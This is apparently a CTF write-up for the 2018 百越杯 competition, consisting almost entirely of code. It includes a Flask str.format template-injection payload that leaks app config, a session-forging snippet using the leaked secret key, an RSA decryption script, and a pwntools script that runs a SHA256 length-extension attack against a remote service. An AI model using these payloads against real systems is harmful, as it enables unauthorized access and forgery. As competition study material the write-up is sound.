2018百越杯wp

@bp_auth.route('/flag')
@login_check
def get_flag():
if(g.user.username=="admin"):
with open(os.path.dirname(__file__)+'/flag','rb') as f:
flag = f.read()
return flag
return "Not admin!!"

@bp_secert.route('/views',methods = ['GET','POST'])
@login_check
def views_info():
view_id = request.args.get('id')
if not view_id:
view_id = session.get('user_id')

user_m = user.query.filter_by(id=view_id).first()

if user_m is None:
flash(u"该用户未注册")
return render_template('secert/views.html')

if str(session.get('user_id'))==str(view_id):
secert_m = secert.query.filter_by(id=view_id).first()
secert_t = u"<p>{secert.secert}<p>".format(secert = secert_m)
else:
secert_t = u"<p>***************************************<p>"

name = u"<h1>name:{user_m.username}<h1>"
email = u"<h2>email:{user_m.email}<h2>"

info = (name+email+secert_t).format(user_m=user_m)
return render_template('secert/views.html',info = info)

{user_m.__class__.__mro__[1].__class__.__mro__[0].__init__.__globals__[SQLAlchemy].__init__.__globals__[current_app].config}

from flask import Flask,session

app = Flask(__name__)
app.config['SECRET_KEY'] = 'ichunqiuQAQ013'

def set_id():
    session['id'] = 5
    return "ok"

if __name__ == '__main__':
    app.debug = True
    app.run()

python lsb.py extract 123.png 123.txt Lsb_1s_gr3at

#!/usr/bin/env python2.7
import gmpy2
import libnum
from Crypto.Util.number import getPrime
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from base64 import b64decode

m = b64decode(open('flag.enc','r').read())
n = 62078208638445817213739226854534031566665495569130972218813975279479576033261
e = 9850747023606211927
q = 184333227921154992916659782580114145999
p = 336771668019607304680919844592337860739
i=1

while 1:
        print i
        i+=1
        n=q*p
        if n >= int(m.encode('hex'),16):
                d = libnum.invmod(e,(p-1)*(q-1))
                prikey = RSA.construct((int(n),int(e),int(d)))
                key = PKCS1_v1_5.new(prikey)
                m = key.decrypt(m,None)
                break
        else:
                p = gmpy2.next_prime(p**2+q**2)
                q = gmpy2.next_prime(2*q*p)
                e = gmpy2.next_prime(e**2)

print m

#!/usr/bin/env python
# encoding: utf-8

import random
import string
import signal
import sys
import os
import time
from hashlib import sha256
from urlparse import parse_qsl

os.chdir(os.path.dirname(os.path.abspath(__file__)))
signkey = ''.join([random.choice(string.letters+string.digits) for _ in xrange(random.randint(8,32))])
items = [
    ('iPhone X', 7399),
    ('iPhone 8', 4599),
    ('P20 Pro', 5488),
    ('P20', 3788),
    ('Honor 10', 2399),
    ('Mi 8', 2999),
    ('Find X', 4999),
    ('Nex', 4498),
    ('Mate10 Pro', 4899),
    ('Flag', 99999)
]

money = random.randint(3000, 30000)

def list_items():
    for i,item in enumerate(items):
        print '%2d - %-30s$%d' % (i, item[0], item[1])

def order():
    n = input_int('Product ID: ')
    if n < 0 or n >= len(items):
        print 'Invalid ID!'
        return
    payment = 'product=%s&price=%d&timestamp=%d' % (items[n][0], items[n][1], time.time()*1000000)
    sign = sha256(signkey+payment).hexdigest()
    payment += '&sign=%s' % sign
    print 'Your order:\n%s\n' % payment

def pay():
    global money
    print 'Your order:'
    sys.stdout.flush()
    payment = raw_input().strip()
    sp = payment.rfind('&sign=')
    if sp == -1:
        print 'Invalid Order!'
        return
    sign = payment[sp+6:]
    try:
        sign = sign.decode('hex')
    except TypeError:
        print 'Invalid Order!'
        return

    payment = payment[:sp]
    signchk = sha256(signkey+payment).digest()
    if signchk != sign:
        print 'Invalid Order!'
        return

    for k,v in parse_qsl(payment):
        if k == 'product':
            product = v
        elif k == 'price':
            try:
                price = int(v)
            except ValueError:
                print 'Invalid Order!'
                return

    if money < price:
        print 'Go away you poor bastard!'
        return

    money -= price
    print 'Your current money: $%d' % money
    print 'You have bought %s' % product
    if product == 'Flag':
        print 'Well Done! Here is your flag: %s' % open('flag').read().strip()

def input_int(prompt):
    sys.stdout.write(prompt)
    sys.stdout.flush()
    try:
        n = int(raw_input())
        return n
    except:
        return 0

def menu():
    print "CPU Shop"
    while True:
        print "Money: $%d" % money
        print "1. List Items"
        print "2. Order"
        print "3. Pay"
        print "4. Exit"
        sys.stdout.flush()
        choice = input_int("Command: ")
        {
            1: list_items,
            2: order,
            3: pay,
            4: exit,
        }.get(choice, lambda *args:1)()
        sys.stdout.flush()

if __name__ == "__main__":
    signal.alarm(60)
    menu()

payment = 'product=%s&price=%d&timestamp=%d' % (items[n][0], items[n][1], time.time()*1000000)
sign = sha256(signkey+payment).hexdigest()
payment += '&sign=%s' % sign

for k,v in parse_qsl(payment):
    if k == 'product':
        product = v
    elif k == 'price':
        try:
            price = int(v)
        except ValueError:
            print 'Invalid Order!'
            return

#! /usr/bin/env 
# coding: utf-8
from hashpumpy import hashpump
from pwn import *
context.log_level = 'debug'
host = '117.50.13.182'
port = 8888

r = remote(host, port)
r.recvuntil('Command: ')
r.sendline(b'2')
r.recvuntil('ID: ')
r.sendline(b'0')
r.recvuntil('Your order:\n')

payment = r.recvline().strip().decode()
sp = payment.rfind('&sign=')
pay = payment[:sp]
hexd = payment[sp+6:]
print pay,hexd

for i in range(8,34):
print i
rec = r.recvuntil('Command: ')
print rec
if 'flag' in rec:
print i,rec
break
r.sendline('3')
hashp = hashpump(hexd, pay, '&product=Flag',i)
sendpay = hashp[1] + b'&sign=' + hashp[0].encode()
r.sendline(sendpay)